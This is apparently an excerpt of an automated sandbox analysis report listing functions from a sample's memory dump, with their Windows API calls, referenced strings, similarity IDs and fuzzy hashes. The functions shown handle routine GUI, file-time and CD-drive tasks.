Instruction ID: f8066b7fbc3c019ec5979d95859961df4453c4d91ede10bbe8de58d636a69d6a
Opcode Fuzzy Hash: 46fefecb5d9fe8ebc9c49a121e1948d01b84cc95b611e2c71a68261ee8a3306d
Instruction Fuzzy Hash: 1E418670E44319AADB119FB68C49D6EFFF8EF45B10F10452FE509E7290DAB8A500CE51

Function 0033B13A Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0033B17B
__swprintf.LIBCMT ref: 0033B21C
_wcscmp.LIBCMT ref: 0033B22F
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 0033B284
_wcscmp.LIBCMT ref: 0033B2C0
GetClassNameW.USER32(?,?,00000400), ref: 0033B2F7
GetDlgCtrlID.USER32(?), ref: 0033B349
GetWindowRect.USER32(?,?), ref: 0033B37F
GetParent.USER32(?), ref: 0033B39D
ScreenToClient.USER32(00000000), ref: 0033B3A4
GetClassNameW.USER32(?,?,00000100), ref: 0033B41E
_wcscmp.LIBCMT ref: 0033B432
GetWindowTextW.USER32(?,?,00000400), ref: 0033B458
_wcscmp.LIBCMT ref: 0033B46C

Part of subcall function 0030385C: _iswctype.LIBCMT ref: 00303864

Strings

%s%u, xrefs: 0033B216

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 0621d149cb689ce83a72a8e193d6b95f80861cf2fd9684d810556f30bb0fd570
Instruction ID: aae99c40f73800feb1fed57fe2293fff91c7da801a6c294d195639787d59a14c
Opcode Fuzzy Hash: 0621d149cb689ce83a72a8e193d6b95f80861cf2fd9684d810556f30bb0fd570
Instruction Fuzzy Hash: 48A1DC71204206EBD71ADF24C8D5BAAF7E8FF44360F008629FA99C6191DB30E955CBA1

Function 0033B8B6 Relevance: 26.4, APIs: 3, Strings: 12, Instructions: 105COMMON

Download Yara Rule

APIs

__wcsnicmp.LIBCMT ref: 0033B915

Strings

[REGEXPTITLE:, xrefs: 0033B93D
[ACTIVE, xrefs: 0033B902
[HANDLE:, xrefs: 0033B921
HANDLE=, xrefs: 0033B90E
LAST, xrefs: 0033B8DA
CLASSNAME=, xrefs: 0033B952
[ALL, xrefs: 0033B9BB
ALL, xrefs: 0033B9A9
ACTIVE, xrefs: 0033B8F0
[CLASS:, xrefs: 0033B965
REGEXP=, xrefs: 0033B92A
[LAST, xrefs: 0033B9C2

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: __wcsnicmp
String ID: ACTIVE$ALL$CLASSNAME=$HANDLE=$LAST$REGEXP=$[ACTIVE$[ALL$[CLASS:$[HANDLE:$[LAST$[REGEXPTITLE:
API String ID: 1038674560-1810252412
Opcode ID: 98e61511d8a6ac80d245e11ae7bb88d11f946f4ad04697e316c0ee9f3552f725
Instruction ID: b25eaae6944e11cf964fbe12504572ac1fc395b5eb33426e31832755c9ab9931
Opcode Fuzzy Hash: 98e61511d8a6ac80d245e11ae7bb88d11f946f4ad04697e316c0ee9f3552f725
Instruction Fuzzy Hash: 9D31B031A44209E6DE06EAA0CD93FFDF7A89F10790FA00225F741B50D5EF656E248A92

Function 0033CB97 Relevance: 25.7, APIs: 17, Instructions: 169windowtimeCOMMON

Download Yara Rule

APIs

LoadIconW.USER32(00000063), ref: 0033CBAA
SendMessageW.USER32(?,00000080,00000000,00000000), ref: 0033CBBC
SetWindowTextW.USER32(?,?), ref: 0033CBD3
GetDlgItem.USER32(?,000003EA), ref: 0033CBE8
SetWindowTextW.USER32(00000000,?), ref: 0033CBEE
GetDlgItem.USER32(?,000003E9), ref: 0033CBFE
SetWindowTextW.USER32(00000000,?), ref: 0033CC04
SendDlgItemMessageW.USER32(?,000003E9,000000CC,?,00000000), ref: 0033CC25
SendDlgItemMessageW.USER32(?,000003E9,000000C5,00000000,00000000), ref: 0033CC3F
GetWindowRect.USER32(?,?), ref: 0033CC48
SetWindowTextW.USER32(?,?), ref: 0033CCB3
GetDesktopWindow.USER32 ref: 0033CCB9
GetWindowRect.USER32(00000000), ref: 0033CCC0
MoveWindow.USER32(?,?,?,?,00000000,00000000), ref: 0033CD0C
GetClientRect.USER32(?,?), ref: 0033CD19
PostMessageW.USER32(?,00000005,00000000,00000000), ref: 0033CD3E
SetTimer.USER32(?,0000040A,00000000,00000000), ref: 0033CD69

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$ItemMessageText$RectSend$ClientDesktopIconLoadMovePostTimer
String ID:
API String ID: 3869813825-0
Opcode ID: 92f970b25b1ec46121e15a52369b8fe4f0b422d9444281c55269c7bb9eaea36b
Instruction ID: 8be36dfc1b84df9ac23686f6490716da8195e4ca7760cd01aed094f8f885bd59
Opcode Fuzzy Hash: 92f970b25b1ec46121e15a52369b8fe4f0b422d9444281c55269c7bb9eaea36b
Instruction Fuzzy Hash: CE517F70900709EFDB26DFA8CE89B6EBBF9FF04705F004918E58AA25A0C774A955CB50

Function 0036A7DE Relevance: 24.7, APIs: 12, Strings: 2, Instructions: 205windowCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0036A87E
DestroyWindow.USER32(00000000,?), ref: 0036A8F8

Part of subcall function 002F1821: _memmove.LIBCMT ref: 002F185B

CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,00000000,?), ref: 0036A972
SendMessageW.USER32(00000000,00000433,00000000,00000030), ref: 0036A994
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0036A9A7
DestroyWindow.USER32(00000000), ref: 0036A9C9
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,?,80000000,80000000,80000000,80000000,?,00000000,002E0000,00000000), ref: 0036AA00
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 0036AA19
GetDesktopWindow.USER32 ref: 0036AA32
GetWindowRect.USER32(00000000), ref: 0036AA39
SendMessageW.USER32(00000000,00000418,00000000,?), ref: 0036AA51
SendMessageW.USER32(00000000,00000421,?,00000000), ref: 0036AA69

Part of subcall function 002E29AB: GetWindowLongW.USER32(?,000000EB), ref: 002E29BC

Strings

tooltips_class32, xrefs: 0036A96B, 0036A9F9
0, xrefs: 0036A894

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Window$MessageSend$CreateDestroy$DesktopLongRect_memmove_memset
String ID: 0$tooltips_class32
API String ID: 1297703922-3619404913
Opcode ID: a076f4e4a3c7d9a77e6288055ef88f3b2b4de0baccd5d7721fa59a881e5a0343
Instruction ID: 879dfe345aa647a86d0daa32640675c08cee10c8c25f408b22c0e374026bf77d
Opcode Fuzzy Hash: a076f4e4a3c7d9a77e6288055ef88f3b2b4de0baccd5d7721fa59a881e5a0343
Instruction Fuzzy Hash: 1371C974140604AFE726CF28CC49F6B7BE9EB89700F15851DF98A972A0C731E952CF52

Function 0036CCA6 Relevance: 24.7, APIs: 11, Strings: 3, Instructions: 181windowfileCOMMON

Download Yara Rule

APIs

Part of subcall function 002E29E2: GetWindowLongW.USER32(?,000000EB), ref: 002E29F3

DragQueryPoint.SHELL32(?,?), ref: 0036CCCF

Part of subcall function 0036B1A9: ClientToScreen.USER32(?,?), ref: 0036B1D2
Part of subcall function 0036B1A9: GetWindowRect.USER32(?,?), ref: 0036B248
Part of subcall function 0036B1A9: PtInRect.USER32(?,?,0036C6BC), ref: 0036B258

SendMessageW.USER32(?,000000B0,?,?), ref: 0036CD38
DragQueryFileW.SHELL32(?,000000FF,00000000,00000000), ref: 0036CD43
DragQueryFileW.SHELL32(?,00000000,?,00000104), ref: 0036CD66
_wcscat.LIBCMT ref: 0036CD96
SendMessageW.USER32(?,000000C2,00000001,?), ref: 0036CDAD
SendMessageW.USER32(?,000000B0,?,?), ref: 0036CDC6
SendMessageW.USER32(?,000000B1,?,?), ref: 0036CDDD
SendMessageW.USER32(?,000000B1,?,?), ref: 0036CDFF
DragFinish.SHELL32(?), ref: 0036CE06
DefDlgProcW.USER32(?,00000233,?,00000000,?,?,?), ref: 0036CEF9

Strings

@GUI_DRAGFILE, xrefs: 0036CEA8
@GUI_DROPID, xrefs: 0036CE26
@GUI_DRAGID, xrefs: 0036CE71

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: MessageSend$Drag$Query$FileRectWindow$ClientFinishLongPointProcScreen_wcscat
String ID: @GUI_DRAGFILE$@GUI_DRAGID$@GUI_DROPID
API String ID: 169749273-3440237614
Opcode ID: e8c729c3c714ac1de0e92fac1872d8fcef2ca7bb04301d2d40c61cf3617363c2
Instruction ID: 852cab77661786198d6eeb737624c3b33f47525171148b66eac040fa49c4ea82
Opcode Fuzzy Hash: e8c729c3c714ac1de0e92fac1872d8fcef2ca7bb04301d2d40c61cf3617363c2
Instruction Fuzzy Hash: 12619A71118300AFC712EF50DC89DABBBF8EF89750F400A2DF695921A1DB719A59CF52

Function 003482D5 Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 378timeCOMMON

Download Yara Rule

APIs

VariantInit.OLEAUT32(00000000), ref: 0034831A
VariantCopy.OLEAUT32(00000000,?), ref: 00348323
VariantClear.OLEAUT32(00000000), ref: 0034832F
VariantTimeToSystemTime.OLEAUT32(?,?,?), ref: 0034841D
__swprintf.LIBCMT ref: 0034844D
VarR8FromDec.OLEAUT32(?,?), ref: 00348479
VariantInit.OLEAUT32(?), ref: 0034852A
SysFreeString.OLEAUT32(?), ref: 003485BE
VariantClear.OLEAUT32(?), ref: 00348618
VariantClear.OLEAUT32(?), ref: 00348627
VariantInit.OLEAUT32(00000000), ref: 00348665

Strings

%4d%02d%02d%02d%02d%02d, xrefs: 00348447
Default, xrefs: 003484DA

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Variant$ClearInit$Time$CopyFreeFromStringSystem__swprintf
String ID: %4d%02d%02d%02d%02d%02d$Default
API String ID: 3730832054-3931177956
Opcode ID: f9802e581aaf90e7b28e5c9a8a23eb72282ea07a18fe171f6a6e35808b3ea019
Instruction ID: d3d6bb76a1359d36c82032f1335b10561571b50209986ba576ab61aeaf35fedc
Opcode Fuzzy Hash: f9802e581aaf90e7b28e5c9a8a23eb72282ea07a18fe171f6a6e35808b3ea019
Instruction Fuzzy Hash: 67D1FF39A0411ADBDB26AFA1C894B6EB7F8BF05B00F158455E505AF681CF34FC50DBA1

Function 003649CF Relevance: 23.0, APIs: 2, Strings: 11, Instructions: 251windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00364A61
SendMessageW.USER32(?,00001105,00000000,00000000), ref: 00364AAC

Strings

GETSELECTED, xrefs: 00364BBC
UNCHECK, xrefs: 00364C88
ISCHECKED, xrefs: 00364C2F
CHECK, xrefs: 00364ACC
GETITEMCOUNT, xrefs: 00364B8E
GETTOTALCOUNT, xrefs: 00364A93
GETTEXT, xrefs: 00364BFF
COLLAPSE, xrefs: 00364AF2
SELECT, xrefs: 00364C5D
EXPAND, xrefs: 00364B5E
EXISTS, xrefs: 00364B15

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: CHECK$COLLAPSE$EXISTS$EXPAND$GETITEMCOUNT$GETSELECTED$GETTEXT$GETTOTALCOUNT$ISCHECKED$SELECT$UNCHECK
API String ID: 3974292440-4258414348
Opcode ID: bdd0256be55bbd8ea3bbe6f4ffe3f03ec3757659a784b032014c23e32c99073d
Instruction ID: 0262d17018d9bf178446f8691516a926280ef45e351b99fb2e630eeb7a05ab59
Opcode Fuzzy Hash: bdd0256be55bbd8ea3bbe6f4ffe3f03ec3757659a784b032014c23e32c99073d
Instruction Fuzzy Hash: 0F91C234614701EFCB06EF20C891A6DB7A5BF94354F50886CF8965B7A2CB30ED59CB91

Function 0036BE70 Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 197windowlibraryCOMMON

Download Yara Rule

APIs

LoadImageW.USER32(00000000,?,00000001,?,?,00002010), ref: 0036BF26
LoadLibraryExW.KERNEL32(?,00000000,00000032,00000000,?,?,?,?,?,003697E7), ref: 0036BF82
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0036BFBB
LoadImageW.USER32(00000000,?,00000001,?,?,00000000), ref: 0036BFFE
LoadImageW.USER32(?,?,00000001,?,?,00000000), ref: 0036C035
FreeLibrary.KERNEL32(?), ref: 0036C041
ExtractIconExW.SHELL32(?,00000000,00000000,00000000,00000001), ref: 0036C051
DestroyIcon.USER32(?,?,?,?,?,003697E7), ref: 0036C060
SendMessageW.USER32(?,00000170,00000000,00000000), ref: 0036C07D
SendMessageW.USER32(?,00000064,00000172,00000001), ref: 0036C089

Part of subcall function 0030312D: __wcsicmp_l.LIBCMT ref: 003031B6

Strings

.dll, xrefs: 0036BEDF
.icl, xrefs: 0036BE9C
.exe, xrefs: 0036BEBC

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Load$Image$IconLibraryMessageSend$DestroyExtractFree__wcsicmp_l
String ID: .dll$.exe$.icl
API String ID: 1212759294-1154884017
Opcode ID: 174f2cbbda82eaeffbaa3319f4fb453b4d68009effd94f19b7a070d553621a15
Instruction ID: 62fc4ffa8fa266309dfda083ca1b894d73884eaae1957d7574adce624f49666d
Opcode Fuzzy Hash: 174f2cbbda82eaeffbaa3319f4fb453b4d68009effd94f19b7a070d553621a15
Instruction Fuzzy Hash: 7E61E0B1550219FEEB2A9F64DC45BBE77ACFB08710F108209F915DA0D1DB74AA90CFA0

Function 0034E25D Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 0034E31F
SystemTimeToFileTime.KERNEL32(?,?), ref: 0034E32F
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 0034E33B
__wsplitpath.LIBCMT ref: 0034E399
_wcscat.LIBCMT ref: 0034E3B1
_wcscat.LIBCMT ref: 0034E3C3
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 0034E3D8
SetCurrentDirectoryW.KERNEL32(?), ref: 0034E3EC
SetCurrentDirectoryW.KERNEL32(?), ref: 0034E41E
SetCurrentDirectoryW.KERNEL32(?), ref: 0034E43F
_wcscpy.LIBCMT ref: 0034E44B
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0034E48A

Strings

*.*, xrefs: 0034E445

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: c4f524f3cd5ac0a52ac65a32f66d24a4a2c836981948613f11918fc798b609b0
Instruction ID: b61f1011966246c1db51d116a0958a6e6914f64ae96cebb6661fdf03cdf1b724
Opcode Fuzzy Hash: c4f524f3cd5ac0a52ac65a32f66d24a4a2c836981948613f11918fc798b609b0
Instruction Fuzzy Hash: B36157765142459FC711EF64C884AAEB3E8BF88314F04891AF9898B251EB35EA45CB92

Function 002E23F7 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 170timeCOMMON

Download Yara Rule

APIs

Part of subcall function 002E1F1D: InvalidateRect.USER32(?,00000000,00000001,?,?,?,002E2412,?,00000000,?,?,?,?,002E1AA7,00000000,?), ref: 002E1F76

DestroyWindow.USER32(?,?,?,?,?,?,?,?,?,?,?,00000000,?,?), ref: 002E24AF
KillTimer.USER32(-00000001,?,?,?,?,002E1AA7,00000000,?,?,002E1EBE,?,?), ref: 002E254A
DestroyAcceleratorTable.USER32(00000000), ref: 0031BFE7
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,002E1AA7,00000000,?,?,002E1EBE,?,?), ref: 0031C018
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,002E1AA7,00000000,?,?,002E1EBE,?,?), ref: 0031C02F
ImageList_Destroy.COMCTL32(00000000,?,00000000,?,?,?,?,002E1AA7,00000000,?,?,002E1EBE,?,?), ref: 0031C04B
DeleteObject.GDI32(00000000), ref: 0031C05D

Strings

h7, xrefs: 002E256F

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: Destroy$ImageList_$AcceleratorDeleteInvalidateKillObjectRectTableTimerWindow
String ID: h7
API String ID: 641708696-3506068940
Opcode ID: 8969a41ff0d9a402fa865d4609bb7f21b97eb2541253df4e9dcec8202ee68462
Instruction ID: 51181c482bca7ad420dd82fe9a29a0f33e0fa56d705385da902f3ceb165eb661
Opcode Fuzzy Hash: 8969a41ff0d9a402fa865d4609bb7f21b97eb2541253df4e9dcec8202ee68462
Instruction Fuzzy Hash: B161DE311A4681CFCB3B9F15CD89B3AB7B9FB49312F809518E047469A0C3B5A8E4DF90

Function 0034A27B Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 150COMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000066,?,00000FFF,?), ref: 0034A2C2

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

LoadStringW.USER32(00000072,?,00000FFF,?), ref: 0034A2E3
__swprintf.LIBCMT ref: 0034A33C
__swprintf.LIBCMT ref: 0034A355
_wprintf.LIBCMT ref: 0034A3FC
_wprintf.LIBCMT ref: 0034A41A

Strings

"%s" (%d) : ==> %s:, xrefs: 0034A415
"%s" (%d) : ==> %s:%s%s, xrefs: 0034A3F7
Incorrect parameters to object property !, xrefs: 0034A39E
^ ERROR , xrefs: 0034A391
Line %d (File "%s"):, xrefs: 0034A336, 0034A34F
Error: , xrefs: 0034A3C4

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: LoadString__swprintf_wprintf$_memmove
String ID: Error: $"%s" (%d) : ==> %s:$"%s" (%d) : ==> %s:%s%s$Incorrect parameters to object property !$Line %d (File "%s"):$^ ERROR
API String ID: 311963372-3080491070
Opcode ID: 7b1548d2cb97b8859e1c461324c6a631d014efb25b1a0343c59ee6107aee82a8
Instruction ID: ed5e0541a9b04c107f5e0dda6b7b86ee88ab813aa6781fcaa930965028e995cf
Opcode Fuzzy Hash: 7b1548d2cb97b8859e1c461324c6a631d014efb25b1a0343c59ee6107aee82a8
Instruction Fuzzy Hash: 6C518D7194010DAACF16EBE0CD46EEEF7B9AF04380F500165F605A6192EB752F68DF91

Function 00340065 Relevance: 22.9, APIs: 8, Strings: 5, Instructions: 138windowCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,00000FFF,00000000,00000001,00000000,?,0032F8B8,00000001,0000138C,00000001,00000000,00000001,?,00353FF9,00000000), ref: 0034009A
LoadStringW.USER32(00000000,?,0032F8B8,00000001), ref: 003400A3

Part of subcall function 002F1A36: _memmove.LIBCMT ref: 002F1A77

GetModuleHandleW.KERNEL32(00000000,003A7310,?,00000FFF,?,?,0032F8B8,00000001,0000138C,00000001,00000000,00000001,?,00353FF9,00000000,00000001), ref: 003400C5
LoadStringW.USER32(00000000,?,0032F8B8,00000001), ref: 003400C8
__swprintf.LIBCMT ref: 00340118
__swprintf.LIBCMT ref: 00340129
_wprintf.LIBCMT ref: 003401D2
MessageBoxW.USER32(00000000,?,?,00011010), ref: 003401E9

Strings

Line %d:, xrefs: 00340123
%s (%d) : ==> %s: %s %s, xrefs: 003401CD
^ ERROR, xrefs: 0034017E
Line %d (File "%s"):, xrefs: 00340112
Error: , xrefs: 003401A0

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

Associated: 0000000A.00000002.2922068757.00000000002E0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000370000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922190098.0000000000396000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922250653.00000000003A0000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 0000000A.00000002.2922272812.00000000003A9000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_2e0000_Linux.jbxd

Similarity

API ID: HandleLoadModuleString__swprintf$Message_memmove_wprintf
String ID: Error: $%s (%d) : ==> %s: %s %s$Line %d (File "%s"):$Line %d:$^ ERROR
API String ID: 984253442-2268648507
Opcode ID: bfa877f18bfb63d2c5d740ec20ebba7d878ff08011c8781f1a6787d978b9fd2f
Instruction ID: 3f7f438412ee1989e2b96cce39ca9d896d39d86fe9a4608af1bf55e7f53882a9
Opcode Fuzzy Hash: bfa877f18bfb63d2c5d740ec20ebba7d878ff08011c8781f1a6787d978b9fd2f
Instruction Fuzzy Hash: E9413C7291011DAACF16EBE0CD96DEEB77CAF14380F900165F605A6092DA716F68CFA1

Function 0034A995 Relevance: 22.9, APIs: 5, Strings: 8, Instructions: 138COMMON

Download Yara Rule

APIs

Part of subcall function 002E4D37: __itow.LIBCMT ref: 002E4D62
Part of subcall function 002E4D37: __swprintf.LIBCMT ref: 002E4DAC

CharLowerBuffW.USER32(?,?), ref: 0034AA0E
GetDriveTypeW.KERNEL32 ref: 0034AA5B
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0034AAA3
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0034AADA
mciSendStringW.WINMM(?,00000000,00000000,00000000), ref: 0034AB08

Part of subcall function 002F1821: _memmove.LIBCMT ref: 002F185B

Strings

closed, xrefs: 0034AA22, 0034AA2B
open, xrefs: 0034AA35
type cdaudio alias cd wait, xrefs: 0034AA86
set cd door , xrefs: 0034AAA9
close, xrefs: 0034AA14
open , xrefs: 0034AA6A
wait, xrefs: 0034AAC5
close cd wait, xrefs: 0034AAF3

Memory Dump Source

Source File: 0000000A.00000002.2922109004.00000000002E1000.00000020.00000001.01000000.00000005.sdmp, Offset: 002E0000, based on PE: true

